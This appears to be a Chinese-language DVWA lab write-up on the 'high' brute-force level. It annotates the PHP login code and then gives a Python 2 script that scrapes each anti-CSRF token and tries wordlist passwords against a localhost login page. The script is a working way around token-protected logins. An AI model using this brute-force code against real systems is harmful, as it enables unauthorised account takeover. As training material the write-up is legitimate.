Brute Force_high
1 <?php 2 3 if( isset( $_GET[ 'Login' ] ) ) { 4 // Check Anti-CSRF token 检查Anti-CSRF的令牌 5 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 6 //执行checkToken方法 传入3个变量 7 8 // Sanitise username input 9 $user = $_GET[ 'username' ]; 10 $user = stripslashes( $user ); 11 /*stripslashes(string) 函数删除由 addslashes() 函数添加的反斜杠。返回已剥离反斜杠的字符串。 12 //该函数可用于清理从数据库中或者从 HTML 表单中取回的数据。 13 //string 必需。规定要检查的字符串 14 addslashes(string) 15 string 必需。规定要转义的字符串。 16 addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。 17 预定义字符是:单引号(')、双引号(")、反斜杠(\)、NULL 18 该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。 19 默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。 20 所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。 21 遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。 22 */ 23 $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 24 25 // Sanitise password input 26 $pass = $_GET[ 'password' ]; 27 $pass = stripslashes( $pass ); 28 $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 29 $pass = md5( $pass ); 30 31 // Check database 32 $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; 33 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); 34 35 if( $result && mysqli_num_rows( $result ) == 1 ) { 36 // Get users details 37 $row = mysqli_fetch_assoc( $result ); 38 $avatar = $row["avatar"]; 39 40 // Login successful 41 echo "<p>Welcome to the password protected area {$user}</p>"; 42 echo "<img src=\"{$avatar}\" />"; 43 } 44 else { 45 // Login failed 46 sleep( rand( 0, 3 ) ); 47 echo "<pre><br />Username and/or password incorrect.</pre>"; 48 } 49 50 ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 51 } 52 53 // Generate Anti-CSRF token 54 generateSessionToken(); //随机生成一个Token 55 56 ?>
High级别的代码加入了Token,可以抵御CSRF攻击,同时也增加了爆破的难度,通过抓包,就可以看到,登录验证时提交了四个参数:username、password、Login以及user_token。
其中,还使用了stripslashes(去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个)、 mysql_real_escape_string对参数username、password进行过滤、转义,进一步抵御sql注入。
暴力破解exp
由于加入了Anti-CSRFtoken预防无脑爆破,这里就不可以像之前low和high中的那样使用Burpsuite了,然后再网上找了半天,结果找到别人写的一个python代码,可以借鉴来使用一下。
python EXP:
1 from bs4 import BeautifulSoup 2 import urllib2 3 #python2.7 4 header={ 'Host': '127.0.0.1', 5 'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT', 6 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0', 7 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 8 'Referer': 'http://127.0.0.1/dvwa-master/vulnerabilities/brute/index.php', 9 'Accept-Encoding': 'gzip, deflate', 10 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 11 'Cookie': 'security=high; PHPSESSID=pdlq960glohbrr10fjg83a9k34'} 12 requrl = "http://127.0.0.1/dvwa-master/vulnerabilities/brute/" 13 14 """ 15 get_token的功能是通过python的BeautifulSoup库从html页面中抓取user_token的值,为了方便展示,这里设置只尝试10次。 16 """ 17 def get_token(requrl,header): 18 req = urllib2.Request(url=requrl,headers=header) 19 response = urllib2.urlopen(req) 20 print response.getcode(), 21 the_page = response.read() 22 print len(the_page) 23 soup = BeautifulSoup(the_page,"html.parser") 24 user_token = soup.form.input.input.input.input["value"] #get the user_token 25 return user_token 26 27 user_token = get_token(requrl,header) 28 i=0 29 for line in open("rkolin.txt"): 30 #只是爆破密码,运行十次 31 requrl = "http://127.0.0.1/dvwa-master/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token 32 i = i+1 33 print i,'admin',line.strip(), 34 user_token = get_token(requrl,header) 35 if (i == 10): 36 break
通过python代码跑后结果,对比结果看到,密码为password时返回的长度不太一样,手工验证,登录成功,爆破完成。